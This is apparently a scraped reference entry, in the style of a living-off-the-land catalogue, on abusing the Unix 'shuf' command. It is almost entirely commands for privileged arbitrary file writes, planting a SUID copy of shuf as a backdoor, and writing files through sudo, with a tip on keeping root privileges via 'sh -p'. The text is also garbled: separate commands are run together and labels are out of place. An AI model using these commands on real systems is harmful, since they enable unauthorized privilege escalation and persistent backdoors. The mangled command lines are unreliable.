The read file content is corrupted by adding a newline.
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
LFILE=file_to_write shuf -e DATA -o "$LFILE"
It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run
sh -p, omit the
-p argument on systems like Debian (<= Stretch) that allow the default
sh shell to run with SUID privileges.
sudo sh -c 'cp $(which shuf) .; chmod +s ./shuf' LFILE=file_to_write ./shuf -e DATA -o "$LFILE" sudo:
sudo sh -c 'cp $(which shuf) .; chmod +s ./shuf' LFILE=file_to_write sudo shuf -e DATA -o "$LFILE"